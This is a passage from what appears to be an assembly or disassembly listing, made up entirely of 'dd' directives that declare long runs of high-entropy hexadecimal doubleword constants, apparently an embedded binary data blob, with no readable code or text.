7A0661DBh, 2A2098D8h dd 0C05C44h, 0FDEB01EEh, 0FEB02BD5h, 82A2205h, 2CC14B8Dh dd 3080688Eh, 49B3F0DBh, 90A20C21h, 245ED361h, 0B0A46E08h dd 31CBC202h, 0C0D6E88Ch, 754AAA02h, 9E633F78h, 0ED6E6506h dd 5F48506Fh, 0DB080404h, 6D07FF85h, 2DE9044h, 7C3A8F53h dd 8F45190h, 55004030h, 0C9F2459Bh, 9AF1EBh, 7DD0BFC2h dd 0B602771Fh, 68420AF6h, 0AC014053h, 0F6224FDFh, 0E444016Dh dd 0B2276710h, 0EA0BC073h, 5FC28A7h, 0BC40ED17h, 9120CD54h dd 0E7BB3258h, 0A0A47930h, 206D4041h, 185DE9h, 625F6B15h dd 42CF04B6h, 6C8AA401h, 23C32ACBh, 930F1B2h, 96C930A0h dd 7C063E3Dh, 0FB12D426h, 0EF740C19h, 4F99846h, 0E8002091h dd 0C3893C5Bh, 0D1495CDBh, 0F01FD601h, 24E4AFA0h, 0FE600940h dd 0B8176C39h, 0A6CD004Dh, 1453921Ah, 0EC0ED38Bh, 0E3AA33C5h dd 5D48483h, 44898CC9h, 97A2C0B7h, 170FC104h, 0A0C69FAFh dd 0DE9EF67h, 0F9D35F3h, 18B03468h, 258C71D6h, 56A8502h dd 48798399h, 0C79710h, 28BE2153h, 9B67DC9Dh, 0A33AA701h dd 1FE919FFh, 7C4428A2h, 0D95200AAh, 193EB571h, 813D0CC8h dd 0E7189208h, 80E38C48h, 0E4D80465h, 0A54AB36h, 0EB22D4B0h dd 5B442AF6h, 0CD9F01D4h, 4846950Bh, 1539D4A2h, 4107F500h dd 0EE2753ECh, 888DD09h, 0D0306342h, 98A341Ah, 9FD88D9h dd 0DFD44820h, 58C16CAAh, 947DEFDBh, 44D68050h, 60209AFDh dd 1CE179EAh, 0D001745Dh, 0B7490D6Ah, 0A9883CB8h, 58A9ECF7h dd 5B138840h, 804D7CB6h, 6E06EDCEh, 700B847Fh, 0CC754958h dd 20E68613h, 2311F538h, 50AE1F3Eh, 8498B494h, 0C078454Dh dd 0FE529A2Bh, 1C1F92Dh, 4C7E9823h, 0D80206Fh, 73D49BB3h dd 0BAEB2801h, 0D74969BCh, 906EF2h, 91DAA343h, 0CD642F01h dd 610AB1B0h, 0A8588D1Bh, 908F7D8Ah, 9C0B038Ah, 0E0C30C87h dd 0E50F2680h, 49BF1CF7h, 2498CE46h, 2CA41D09h, 0FDEE409Bh dd 0D40EDh, 0E19CFFF2h, 6B358D2Ah, 1CEFB21Fh, 1222A8EAh dd 4F442AE2h, 0CF2300C0h, 0AC17A237h, 0EE1AFC91h, 21599540h dd 0F7B26FACh, 6E116C32h, 0E2A4515Ah, 0E27FBE20h, 9DEB0021h dd 7E50F731h, 593E995Ch, 480CA439h, 0D1227140h, 0C87B0992h dd 811FACCh, 2C003358h, 0F8441C7Eh, 7C04C8h, 0E3800693h dd 0AEE61F66h, 0E8613C24h, 0EE44864Eh, 0C7CF00D1h, 0C1F5EC8Ah dd 7500BAB8h, 22C1C8Ch, 239E82Dh, 7C8B996Ah, 0A064C235h dd 5080FBF4h, 0BD9300B2h, 27B33C11h, 689A2C8Bh, 4A96DB18h dd 5969F9h, 34B05835h, 9C868ED1h, 0DF4CA300h, 0A6C0AE74h dd 0AF971A60h, 648FA110h, 0EE046948h, 349047D0h, 3BEF8C6Ah dd 1E16B9BEh, 84704623h, 750021C0h, 37FF972Fh, 12E47C70h dd 48C277DDh, 0C880EFF0h, 26D5C708h, 0DD0E0288h, 0BE2181Bh dd 0A1043CCEh, 0B333B4B6h, 11E871C0h, 10CE2B0h, 0D99B395Fh dd 0B9497C8Ch, 0CCCEA2A1h, 0DB69E1B8h, 35080D04h, 0F4D19462h dd 29816A84h, 64FFE92Eh, 43682451h, 2091697Ch, 0AAC2178Eh dd 0CF12A916h, 0FD689059h, 9389EC0Ch, 54540424h, 18DE84Dh dd 0DEA44E32h, 30247E5Fh, 51068ACEh, 1FC3EED7h, 0FAB33730h dd 46EFE448h, 41F644h, 0B5354A41h, 0EDD1AABCh, 4DC07751h dd 5EC04334h, 41F44CC4h, 88AC008Dh, 0B655D529h, 9A1CAAh dd 26E76321h, 8E13006Bh, 827BD57Fh, 6B671F0Ah, 0C244E415h dd 0BA46B740h, 5C009D27h, 0F43101DDh, 0C2936BE5h, 0FC96E981h dd 0F9284D0Eh, 0A80458h, 3E7748BEh, 0BBDCCFA5h, 0FEF35E02h dd 0C4545042h, 639700D4h, 469389E1h, 0B152C381h, 0FE22D4h dd 85FD05C7h, 5714F8C8h, 29A8F75Dh, 6600D861h, 64FFFBEh dd 18CB3F75h, 0D5BB9384h, 0D1F489DEh, 8C8057D2h, 0F8B260E9h dd 3C594244h, 72005BF2h, 0CDC1B3CBh, 96004F37h, 0C3BC2AA1h dd 0A8F57C6Bh, 0F0DD0B5Ch, 0CC4B06FEh, 1886C617h, 80BC40B1h dd 0E46B6A6h, 597A53BCh, 842C0852h, 0E3CD40A0h, 8A00307Eh dd 0EADB9155h, 0B5388A4h, 63832B03h, 3943D090h, 830C5448h dd 0F094CB9Ch, 51191163h, 0F0223CCCh, 0F0AAFF01h, 0ECE5F3A1h dd 0D90C2DEDh, 0F171336Bh, 7829C3E9h, 7CD05DC7h, 263C967Ah dd 0F0A0067Eh, 99A1E8EFh, 3542434h, 0E4D43B1Eh, 0DC6C1912h dd 46768822h, 44A64Ch, 0EC9EF636h, 97C5C19Fh, 3F00724Dh dd 0F3C40A9h, 9AC42F57h, 1139562h, 68EED0A1h, 6E819446h dd 0D17A80F0h, 0B1AC2DBh, 0D260FD8Eh, 0E0E06108h, 49F99001h dd 0B6DB3Eh, 0D3354D9h, 1C1E60E3h, 0D44D72D1h, 0F6C02C7Bh dd 0D22C9D19h, 3808DEF4h, 91C3E4B9h, 0C5771FF5h, 34A06DC3h dd 0F4C1582Ch, 0DFCDEAC0h, 0BD64B04Fh, 0EC9C9338h, 0A0438AF7h dd 708852C4h, 8C990378h, 6790C98Bh, 10E4E9DBh, 0C2D1C094h dd 0F578AAAh, 7B2C150Fh, 226B51B9h, 11D41224h, 5C20CCC4h dd 0EACAB83h, 93238E6Fh, 18DC48B0h, 408968D1h, 36622429h dd 4EEE8B88h, 61F3A013h, 16945150h, 23638B17h, 0C000C014h dd 76F785B8h, 41EE62E1h, 3249843h, 121BC88h, 64EFBEAAh dd 20DC0B29h, 7D0526DEh dd 0AE7B55CCh, 0FFE69444h, 0ACBC0256h, 645A435Bh, 145E0200h dd 6A2862FDh, 3F70183h, 0A994A7DEh, 2979E119h, 5F6E185Ch dd 1E7198A1h, 2C25CBB4h, 0E494C094h, 1700632Eh, 34BD1ACEh dd 99FC8407h, 4EBE00E8h, 32D63658h, 500AF4A9h, 3FA9AC84h dd 1FBBDE00h, 1A2DF877h, 85F03E0Ch, 5CE10881h, 16C8135h dd 0B3148E54h, 7A2A0088h, 35A1CCFEh, 882F0B90h, 0F8319EBh dd 25B86E64h, 2400BAF8h, 0CC54ACEEh, 26EAD8FEh, 0A4887929h dd 63E82C58h, 591E4061h, 0E0357FEEh, 0E398B060h, 9B3F0FB9h dd 13C45407h, 0E9CA6E4h, 2059A3B0h, 29415303h, 529801E6h dd 4F4830Ch, 70ADE59Bh, 0E49684ACh, 0D0CACB80h, 0AAC17034h dd 69C405DCh, 0C251DC32h, 60B8E0B8h, 0D600849Fh, 18CA43B7h dd 5D0A861Bh, 3507C4E6h, 0A5ED2653h, 70805FCh, 0D458853Bh dd 564040B4h, 0B1504BF2h, 0A4134C4Eh, 6F6BD400h, 160655EBh dd 0C2747Bh, 4E5CE6F8h, 82265B30h, 7151540Bh, 5CEB0A21h dd 580BB861h, 0B042EEh, 5E1A016Bh, 0E8295D29h, 884C7724h dd 0B7E15D4h, 0C5182h, 0C626D916h, 12028783h, 0ABCDE2A5h dd 10A8E5FAh, 0E4718A6Bh, 0AC5F4288h, 919992B0h, 632FE114h dd 0CD29001Ch, 94705F5Bh, 0B6240047h, 8B01261Bh, 0D8582736h dd 80D588A0h, 2E44F091h, 4022B8Ch, 0E8872072h, 0C0DCAF66h dd 0EA8809E9h, 2D03074Eh, 0CAD297D8h, 0B2BB40B0h, 8AE8CD2Fh dd 40968874h, 0F8080449h, 90444Bh, 0D1DA43Eh, 1D419D9Fh dd 921F8B40h, 74E487F1h, 0B4A8A17Eh, 54CAE43Ch, 0EC17E0BCh dd 0ED481A41h, 80B01F2h, 0AA49258Bh, 4BEFC3FCh, 26CC5FEBh dd 6E443D68h, 49646Eh, 1E3ECD16h, 65F2566h, 39116826h dd 7000849Bh, 0D7B02B5Dh, 0E8C80F8Eh, 0C749F2B4h, 0F56E84A2h dd 9255EE21h, 848C4194h, 281BC59h, 0F0335C79h, 5122AB2Bh dd 34644955h, 8465EEC4h, 84A620h, 9CEA2641h, 0E831158h dd 6A2DC27Bh, 5340027Eh, 410948F8h, 43679F8h, 82582710h dd 24FC85E9h, 0E2094731h, 29605EC0h, 0CE9F003Fh, 70DA7A0Fh dd 417EAE91h, 1148E049h, 905D476h, 115D2660h, 0A491B82Ch dd 4BFCE024h, 5747AC04h, 0D684AC06h, 5C250011h, 0D1510C09h dd 3900EF82h, 4733E240h, 16BC96AAh, 34626D60h, 0C0E634h dd 6278E9B9h, 2C21F2h, 0B460FF8Eh, 0E1463B18h, 9230705h dd 3CB41314h, 0FA31884Dh, 7B5A7C1Eh, 4EE01AC1h, 4AD83F2Ch dd 27F8FABEh, 0A42284EEh, 0F099756Dh, 0F0520B4Eh, 0F41B1700h dd 0AF1D3FECh, 0E1A80D00h, 7F03193Bh, 92B52799h, 53E9B424h dd 0CAA32C30h, 206A72D8h, 10B2D19Ch, 587C50F3h, 826061FDh dd 74CC581h, 843A5086h, 0B0E8A8h, 711765E6h, 85849A28h dd 0E1B3EF09h, 5F4CA415h, 0FB600081h, 4F22E062h, 0E013B0A2h dd 70741037h, 58CD6095h, 0A45CFBFBh, 0CA1CDCh, 57AF779h dd 0AE38E440h, 4F620416h, 32992470h, 34480096h, 4A7F2A01h dd 1601420Fh, 7908E437h, 89BFC01Ah, 54C0204Fh, 2786B60Ah dd 10195D40h, 4CD48057h, 3667CE3Bh, 0DC651259h, 789C4C1Fh dd 7600BE49h, 77E29642h, 18507DF6h, 71E4B168h, 3896043h dd 361CBC32h, 48FE8150h, 666B05BEh, 9120030h, 34ABC87Bh dd 6C6F48EEh, 1CCC4589h, 0BE776104h, 789C9FD2h, 83E73A53h dd 0EADF1B00h, 0CE26A1FCh, 0C8D3E002h, 78B5B7CFh, 6B7F3554h dd 6E044A99h, 19D840FCh, 3D031E7Ch, 0CF18F872h, 3FC0C8CDh dd 0C6431DB4h, 8B782455h, 0D46968EFh, 43204061h, 0E31C8940h dd 0F8458072h, 28C08BB6h, 4443AD0h, 17619C33h, 2B1CE46Eh dd 624F8200h, 0AACE404Ah, 27C7045Bh, 9151E97Ah, 5050442Ch dd 5F8B53F4h, 1023D531h, 44695D94h, 0B1E80D81h, 0EE39892Ah dd 0D4E448D1h, 844CBAF8h, 0B3BE028h, 76977323h, 7D452030h dd 0D41EDD70h, 0A2C041C5h, 9E7CC4DBh, 73E62CB8h, 0EFDC844Ch dd 0EC6C88E8h, 0E7AC421Dh, 491EA009h, 620C7A68h, 9F792C84h dd 31064014h, 0A609E2DBh, 182BCC81h, 0B46EEE90h, 66B0BAACh dd 3BF28249h, 3A49AC77h, 1E22258h, 305CD9F3h, 0C8ADEC04h dd 89534DABh, 0B0FD2228h, 0A6EC741Ch, 80D891A4h, 434DE7E8h dd 62009D5Bh, 0FA1B989Bh, 75645819h, 81372088h, 96DB21h dd 89EBCC8Ch, 0CF00403Dh, 0A62E7DCEh, 3E05D02Bh, 0B17A6BCDh dd 9E02BCE8h, 0E7D6ACECh, 303BB0EEh, 0BEFA0247h, 7BD0EDCEh dd 0D70D0138h, 3985F47Dh, 278000F0h, 0D1C7B57Bh, 1FA90205h dd 68FD4658h, 906D6C82h, 0D50B8428h, 9896E6h, 751E1521h dd 0E07853Dh, 64B2A215h, 0BE32594h, 4C46C0h, 32F4B89Ch dd 59412164h, 3C22B902h, 1264E06h, 1195600Dh, 9DF8ABE8h dd 0D6461792h, 45C488D5h, 200CAE2Eh, 0C82CD016h, 0B4A3FD4h dd 9F3D96h, 2D84806h, 5F7D9BC1h, 59146058h, 98D99260h dd 102D9031h, 20EC5F26h, 535D012Ch, 731D400Dh, 1BE5FC09h dd 0B108DC00h, 3D3228C6h, 17ED0BCDh, 0C8E41F82h, 90224F42h dd 80111300h, 9CE654F7h, 41260724h, 0E2B1B7ABh, 0C17FDD71h dd 703450E0h, 298F88C3h, 661C8AFEh, 9AC968CFh, 1404405h dd 0A2E6EE0Dh, 79FE3237h, 9AB50358h, 5AA581D2h, 0A6582091h dd 5E000841h, 0DE791351h, 0EC8A9352h, 958F7186h, 6FF8E433h dd 0FF022E7Ah, 0C3EE0F19h, 2810495Eh, 487B9862h, 896B47Ch dd 0E0A45D6Ch, 0D19420AFh, 9E8FAEh, 0ACBA7110h, 0A18D18F4h dd 24306825h, 49C04368h, 0B8A64A6Fh, 81089011h, 71F45470h dd 29D03EECh, 4030FE24h, 93E362EAh, 5A0057FAh, 7D10DF82h dd 2E1F4417h, 1421A8D6h, 0EC85948Dh, 0FFAC3092h, 88015B49h dd 9F72DF32h, 502D40C4h, 201C5C53h, 0A88000DAh, 0BB36960Dh dd 857B4101h, 635EDD21h, 91B7840h, 7AED44FEh, 6E7160E3h dd 0E3D59113h, 70DBC0DCh, 0F43148BCh, 0CC25173Ah, 57EEC0A2h dd 360D0D2h, 0B1C86C09h, 55A60714h, 309A82EBh, 38FB962Eh dd 2895D23Dh, 64A2FCA4h, 0A600B46Ch, 8DE7D51Eh, 9DDEC5Ch dd 21A2953Fh, 40D73024h, 0A908FFE2h, 314F07A5h, 204485F7h dd 0FC99B6B9h, 84093491h, 0E568207Bh, 0A7BB32h, 0F03C0F2Dh dd 8DABC918h, 2B80E702h, 64316B22h, 0C7A8BC04h, 9128CA2Fh dd 0BD0F1E78h, 5EA23240h, 13EE9DAh, 7A811DA7h, 0E8443875h dd 0FCBAC44Ch, 88656E22h, 64F520h, 4B8B0F28h, 0A33AA9D3h dd 0CF19EA00h, 966CE58Ah, 0D8914D01h, 0BE1948C0h, 0C00EA85h dd 0DC397926h, 1A8458Ah, 0CB1012E1h, 6CEDD450h, 80E388F0h dd 82EECD78h, 62170BC9h, 0D4529D81h, 3F9FF488h, 0F8816EAAh dd 0FF3C8288h, 1A53D814h, 92CBB412h, 48301C84h, 4403Eh dd 2BACE24Eh, 7FF4BD01h, 432AB38h, 0B50DBB9Ah, 5843D8E4h dd 0D085A091h, 400894ABh, 0C861D540h, 193B1E4Ch, 83650094h dd 0D14A7C27h, 60804A77h, 5D166E04h, 73CE2F00h, 17E28363h dd 0B33F0120h, 86A25D4h, 4D182435h, 0A57C61C0h, 1D6FAD7h dd 1976A22Ch, 0C8148040h, 0E4055EFDh, 0F8220BD3h, 3F4890E3h dd 0DFD8224Eh, 11C70C44h, 0CCEB10DEh, 469101A4h, 6FE6F5A7h dd 49E87355h, 0D6BE0108h, 8B2586BAh, 5A705ADAh, 60DC12F8h dd 0D7491F78h, 0C7E78600h, 0FD5C80E0h, 0AE5D19CFh, 23718992h dd 0B9BD00B4h, 6219819Eh, 64A3BD1h, 6B0E33BFh, 12730B2Eh dd 1C20CC70h, 449BF100h, 857472AFh, 0C0889415h, 9790202Eh dd 0D9881900h, 42A04AB8h dd 0B6D0B211h, 609DC7BCh, 83120CE6h, 0E1129872h, 44B692A2h dd 0DBA56503h, 0ACE4A3D1h, 8CE6C0BCh, 100BD611h, 66264CEh dd 937AC509h, 7461277Ah, 0F0143098h, 77EE6B03h, 9B49ACDFh dd 0AEC288D6h, 1C6772D0h, 30799014h, 0BAE27028h, 48965E3Bh dd 0BFD70045h, 18ECF739h, 264900B6h, 8160AA94h, 841DE813h dd 0F040EAF9h, 0EC476210h, 2D01D70h, 36F5C358h, 6000DB08h dd 0E59AAEF0h, 3CDD447Dh, 288748CCh, 0ECB3E4E1h, 0F9607740h dd 4B77008h, 1DAA007Bh, 0D0718947h, 61300834h, 0EF1548CFh dd 1094012Fh, 547F0C13h, 0B0E8C7B5h, 353887B4h, 18A40CD7h dd 2C79CCh, 93EDE8FCh, 6816D9BFh, 0C3035301h, 901D22AFh dd 0A101609Eh, 84DB770Ah, 0CC988F80h, 0EE40F137h, 0A0A40694h dd 29A12785h, 0F1C844h, 8002D15Dh, 678F4D8Ch, 0D01880EDh dd 7B1E7EBCh, 6F53313Fh, 1050F168h, 60FF6710h, 519128EFh dd 1C0034D5h, 32D43F90h, 0D8EE447h, 0C7779DE3h, 5860FC69h dd 0FA036098h, 3440AB1Dh, 0DE67E1E1h, 8AEB4980h, 0C35B368Eh dd 0A693C800h, 62CEFAB5h, 5C046628h, 7C0A8815h, 649370E0h dd 22DC7860h, 218F0EFh, 13F5ABA5h, 0A4A0DA07h, 66AD8573h dd 8EC3050Bh, 185C0C6Ch, 7120C668h, 707ED94Ch, 8C8061DFh dd 0AE4A05FDh, 0EF97286Eh, 387349F0h, 67115D32h, 3C27823h dd 7B0A1141h, 0EDD0F425h, 0C002CF09h, 82277D88h, 4D49107h dd 8384F4h, 0DEEE360Bh, 42185CC4h, 729D7A00h, 0E7EC9949h dd 7BF0A18Fh, 0F93C91B8h, 1259D160h, 11038F7Dh, 0CE9033EFh dd 0D0813C4Fh, 0F6577209h, 2249482Fh, 81341420h, 1C0C49CEh dd 21F84E72h, 31F202EFh, 6A8DC40Fh, 714B081h, 876980E7h dd 0BCFDF856h, 9211184Dh, 7490C043h, 9881D136h, 9CA9D128h dd 0E8C6557Ch, 936FE3F0h, 8BE44050h, 75EAFAC6h, 4398BF71h dd 4A2EAC19h, 9D10C229h, 0D0003A7Eh, 1AB8C5CEh, 0CFEA0F1h dd 0E13698D9h, 80FBABE0h, 0A325BB71h, 0F8BA60A1h, 0B09E00AAh dd 3369E090h, 8F004244h, 7021CA97h, 5F6B677h, 23BE5A96h dd 3EC5208h, 843B4B34h, 0D9071118h, 0C4C119h, 0DA2BBA97h dd 0C358B42Ch, 79789050h, 0DF5A7188h, 151709E9h, 864A9400h dd 0E43774D3h, 26C9CE73h, 1520187Ch, 0DC124DCDh, 606F010Ah dd 0BB14F94h, 80D7A738h, 7444EEECh, 0BBD53F27h, 40D475A4h dd 16A97334h, 718FFF10h, 0B95EE719h, 0FC08945Ch, 0F0AB29C4h dd 0B100E31Fh, 471502CBh, 29DC07B0h, 2A9CA5A2h, 0D9C44618h dd 0BEE7B405h, 0A4C058F5h, 0B63ACDh, 0C3A86A1Ah, 0FE678D63h dd 0A0983CE8h, 8E33F039h, 60CB5B90h, 0D0534A01h, 6E440C5Dh dd 71E0108Eh, 13E54E10h, 0C91A6718h, 0FF000DB4h, 4C321C88h dd 7BEBE59Fh, 0D16D2882h, 0C149194h, 7C96BABh, 1EE45Ch dd 0E2479C84h, 2488F1E8h, 8E3C4026h, 7093DAEDh, 8758E814h dd 63698E04h, 900FB61Ch, 0A5685A0h, 3300E359h, 4C9FDEFDh dd 90C716F9h, 0F45D49B0h, 5250F703h, 0C9B91E3Dh, 7F9C202Ah dd 0D09C98D0h, 1D722C0h, 2839910h, 517BED46h, 0F0A034D0h dd 72159BEAh, 484F559h, 0FE2FF1D1h, 0FA952497h, 80489027h dd 0CE4256DCh, 92016269h, 7B35BB9Fh, 0FED0506Eh, 0F80F49C0h dd 0AF728A02h, 3887B50Ch, 59858373h, 10F658B9h, 0C9809E26h dd 6422B020h, 90226681h, 56DE85B4h, 0FF0B442h, 1E844CFh dd 0EA972634h, 93FF098Ch, 386366B1h, 8E5029E1h, 49D899D4h dd 3DDFC4E3h, 0BC2B8D04h, 70C870A4h, 0C0495967h, 0D821C700h dd 35DD1C81h, 8001622Ah, 0EEB05601h, 4A3A885Fh, 6BED3D8h dd 0D9A20CF6h, 4E4C899Ah, 6708D9E4h, 1D34CC4Ch, 2C86EFF8h dd 0CBF1429Ch, 564AD490h, 2248CF1Fh, 96AA9A03h, 34290B0Bh dd 30907883h, 0F00BBE0h, 0D2765108h, 0D7955h, 0EAA832E4h dd 8E40F920h, 7E42954h, 6F916260h, 0A186BBh, 7DC083B8h dd 409195D7h, 45EEC613h, 0C844FD12h, 8C94ECDh, 0C0CC1C60h dd 5D0FE5A1h, 0AAE40552h, 53764400h, 49CD7DF9h, 688F2CB9h dd 40FF4544h, 74B7A6C4h, 0DA00E5B6h, 1A63FB5Ah, 515A048h dd 596412AAh, 0E4C09223h, 22E89120h, 5F5405CDh, 0C0A9C771h dd 0D8E37FC4h, 2CD90A20h, 15F44D10h, 5818B869h, 0C9D171CBh dd 7CA6E974h, 2F00E6E6h, 6A4342E2h, 0C10177h, 71A2950h dd 7D249652h, 93AC1458h, 8CD1C408h, 3994667h, 0D704E907h dd 6EF3A211h, 98D1D496h, 0E048E4EDh, 323F054Fh, 9033DBC1h dd 0B0EDD20Ch, 0FC02372Eh, 0C6D8583Ch, 0A15407h, 437AF5FFh dd 2345C6F3h, 9DD75900h, 5D446B01h, 72530932h, 20254EFBh dd 78898073h, 57E559B5h, 540D9EA0h, 0A0E007F9h, 0E775607Bh dd 5F722211h, 44959040h, 104190EEh, 22F9F442h, 9CCE9AD1h dd 116DAB30h, 6C859Dh, 0D3733D4Eh, 5CF3D87Eh, 0E7E1F9C0h dd 0F94FD6h, 0BE2337BBh, 79CE80A5h, 3050E569h, 906668FCh dd 0B446009Eh, 64D6165Bh, 962499E7h, 9000404Bh, 0A9F6B8F1h dd 0AB322620h, 21F0C010h, 0F0980DEEh, 49CCE409h, 0B730A54Dh dd 2664DC11h, 5550888Bh, 500A84E5h, 0C818ED53h, 8E1701BCh dd 7FD1FE21h, 0BCDCEC44h, 0BE3A1E18h, 41DD1D6Dh, 3EB0BC28h dd 1AF022EFh, 79CA77h, 0A85A5993h, 0C0E058CBh, 0CFE42293h dd 8AF04A27h, 3F98212Ah, 5500408Fh, 5F56F230h, 7C68632Bh dd 3F035831h, 0F9F302DCh, 9825A79Ch, 11011429h, 92831B8Ah dd 0F2E99FF7h, 0E546E0ACh, 18D31E99h, 1D5DDAh, 10483C55h dd 0E3CF6B0h, 7951028Fh, 0B070266Ch, 1BFD5F8h, 0B836773Ah dd 0C9290456h, 76187415h, 0E4AB12E1h, 54EF013Ch, 0D48928E5h dd 0FF8191ADh, 1EE44400h, 188C9553h, 73A5C207h, 1A203902h dd 0D7F4C35Eh, 72D42328h, 5F589FD0h, 0C8247A7Ch, 89847C9Ah dd 50C22B3Bh, 0C9B72503h, 5CE5DE38h, 99E05F80h, 4F373E6h dd 1341089Fh, 616CD0C9h, 940FB27Dh, 96EA2BADh, 0C736D060h dd 0D4640499h, 9075E3A2h, 0B0E6AA98h, 683072F4h, 0B20E811Bh dd 38A63993h, 0E8D74B0Fh, 9CE809F7h, 3B345C20h, 1177D9EAh dd 0F9D10702h, 0E2EF0AA7h, 2EFC44A5h, 4AA44FCDh, 446F1154h dd 9D88D3B0h, 863019F7h, 627B202Fh, 69830084h, 0B572353Dh dd 0E0F105BDh, 0C9DCB1AEh, 9BA84074h, 8B1FC8Ch, 0EF410B40h dd 639C0098h, 0A73BBA70h, 0EB02DA42h, 19B5F7EDh, 487621E8h dd 5C2510ECh, 94589CEFh, 2880840Dh, 0D28BFF60h, 3C01BFEEh dd 9F3A36A1h, 31A6FDA9h, 0A8A04E10h, 25A1D1E1h, 0B0E0B854h dd 20788025h, 6FF43DCCh, 54A003C9h, 0C0679079h, 0AD0B5A88h dd 9E80F894h, 5FB76EEFh, 5CF97049h, 0CD8378F2h, 994C0E4Ah dd 307824B4h, 0BB307BCh, 6630A595h, 0E4E7CAh, 0F8B136EBh dd 6A5C0E2Eh, 2DEAF701h, 4D1C9746h, 66F801DDh, 77F51976h dd 0C553684Bh, 109B07CFh, 1F40C14h, 0AD9252BCh, 3CE7C8F8h dd 765BC100h, 0A9AE99CAh, 4773408Ch, 0F603138Eh, 749001FDh dd 0EF34D9EAh, 61DAABC4h, 77FC6841h, 17B451E2h, 0D022ACh dd 0DAC957A0h, 0F9412Fh, 3EE295C5h, 92536E8Ah, 297A1636h dd 0AC344A8h, 1E4D2A01h, 72189EB3h, 0B28A2181h, 0D55C1C82h dd 0F34AC497h, 73AA0100h, 0B7499DE8h, 0C3E4E581h, 0C41613C0h dd 2F4030E6h, 0F6009E9Fh, 4AF780DAh, 19EFC789h, 81C3C8D1h dd 2CC2207h, 357AF73Ch, 4CF1C080h, 56D3038Bh, 0F437419Fh dd 0BC8010DAh, 1E9EF1Dh dd 60577126h, 0E593D142h, 5E1F80E4h, 0EFC18F63h, 5D984403h dd 978BBC0h, 0DCDFB379h, 2DF6EC40h, 33F2E80Ch, 94D1C011h dd 0F9F84098h, 90134C3h, 8F415006h, 4296211h, 0B5F68000h dd 4769852Fh, 0A08EC42Ch, 0EF95ED40h, 0E1E1612Bh, 0C10FF7E3h dd 425464D5h, 0BD939000h, 0E753DD95h, 0CFFB018Eh, 0D1A0017Bh dd 506C2D8Dh, 0D0A8CE50h, 0D700D280h, 0C2A5507h, 9037A449h dd 238204ECh, 0C875CD97h, 6D057C7Ch, 0B4C8C2B0h, 0F2718C44h dd 48933CA4h, 0E0D4049Bh, 20450D3Eh, 0C7389AA4h, 0AE608006h dd 8D42F77Ah, 44E84884h, 44210727h, 0C0938266h, 0D0B968E1h dd 7F0F5400h, 15C3360h, 0A0F04172h, 3B5B9E6Fh, 94E3D0B5h dd 4ACE68B0h, 1A9C5D43h, 0AC5BA8ECh, 5D01B528h, 74F97897h dd 0B3433CA8h, 8F84A8A4h, 0E64412CEh, 0C8449DEFh, 8C004075h dd 2BC417D8h, 20BD325h, 22EA0FF1h, 0E45167EEh, 315CD800h dd 3F68D9Bh, 0F754C508h, 8100DC86h, 1151ED83h, 3EBCAFh dd 0FC5CCA32h, 0FD2686B5h, 986C2128h, 22A05A00h, 33D93649h dd 17E51487h, 7184FC2Dh, 0C85CC958h, 0ECA8D2BAh, 280C8AF5h dd 18C6521Dh, 0FB80AB6Ch, 947AB0C2h, 0B9FE0116h, 53640FD8h dd 8BC4F598h, 0A0EE6748h, 6FC11984h, 6DA100A2h, 33EA44E8h dd 0BD489D72h, 89C7C374h, 0D027A32Fh, 8F153Ch, 0DCD7665Eh dd 6DBAF954h, 0FC6B9C88h, 4AE80359h, 7DDDF03Fh, 30E3D6C1h dd 0F0EFB670h, 78F486F9h, 9A00C4B1h, 3D2BDF69h, 0D2FD0267h dd 52538DAEh, 4F102C48h, 86E78913h, 0AB7E8420h, 5C500CBh dd 0DFD8A731h, 4D00982Fh, 1075CFF4h, 945401B8h, 50CD8998h dd 69806818h, 0EB8EB904h, 1C90F46Fh, 0CF71510h, 6D3F4B24h dd 0E04013D0h, 0D9DF60ABh, 732F96CDh, 9E652B00h, 3D465011h dd 889800BBh, 0FEEAD2F1h, 0CF905617h, 7042BC9Ah, 485B4900h dd 8A187AB5h, 0F6501004h, 8481E7B3h, 0A8224D71h, 0C196267Fh dd 3CC81C44h, 0A2C0E85Dh, 88A07693h, 1D9B8C00h, 0B964E31Eh dd 97100F20h, 31E3D499h, 402172D1h, 5A364070h, 0C300A580h dd 3B0A5C26h, 0E5653AAh, 0E35222BDh, 0E4107848h, 0B0A17D22h dd 3DC4324Dh, 38AA422h, 1CAB7302h, 0C3E484C4h, 351F2340h dd 9409EC9Ah, 0E86254B9h, 241D64h, 4F086FEh, 6E72DB60h dd 5F9B5200h, 0D7D8DABEh, 0EB77012Dh, 0D15D01B0h, 0A4902881h dd 0F8DC0BBh, 0F3EC8E23h, 0AF5AD407h, 0F00AA5B9h, 47E70140h dd 47489ECFh, 0AD1B121Eh, 0DA005044h, 0DB9CB3D2h, 0BB9550Dh dd 9D2EB4F3h, 0B22F0C83h, 8A178005h, 1CB46039h, 84C648D1h dd 386C718Bh, 21660819h, 0D0298738h, 5FFA7E00h, 8FD5EAAFh dd 264098B6h, 3083332Fh, 2786C9A8h, 0E20080B7h, 0F152836h dd 0E810F9C4h, 56AC4F6Bh, 0D44D0050h, 73356164h, 0AE57C63Ch dd 223F3840h, 4AD03E67h, 0EB0100F2h, 450F6DDEh, 2107E790h dd 384FD15Ah, 186BEDF1h, 0B466E070h, 74144BDCh, 2C433B20h dd 14628086h, 7101107Fh, 0E7238F9Dh, 934310Bh, 704547D0h dd 3969BCECh, 27240898h, 4600E843h, 0C1EDAC60h, 2F7DFBh dd 793F0E6h, 47C52954h, 8AEF0802h, 51C832EDh, 77500F0h dd 1CA6FC9Eh, 20BB7625h, 0D9DACD4Ch, 5F7B13E0h, 0FA7430CAh dd 0C200D148h, 8721AE73h, 0C89AFF8h, 0E6F1557Ch, 0B04CC479h dd 34F15F4h, 0A7047898h, 0EC48B65Ch, 3A00E4A2h, 265159AAh dd 91026692h, 0F5E5DDCh, 20949412h, 8E842AFh, 6C465926h dd 0F3003345h, 3AA46012h, 2DBF0FD4h, 0BE85D1D9h, 88425C2h dd 28A881B0h, 8E16C886h, 4832CDBAh, 25B490ABh, 17F6E7h dd 4DF38722h, 0C9DA42D6h, 9BC4A700h, 187CEC63h, 8C4A0202h dd 6471B7CFh, 0B20010D1h, 1506F39h, 0D0A52F53h, 0CDAC5030h dd 55BCF500h, 3E5CF6E9h, 374C0069h, 87D57BD4h, 3869AC17h dd 6D188189h, 0F0290676h, 0ACE4AA03h, 8FD8C1A4h, 9A000351h dd 0C793081Dh, 58074E74h, 0DA22AC11h, 1BFA8538h, 0D8CEB076h dd 1E6E101Ah, 5450CC16h, 28C17CF0h, 707FF5A1h, 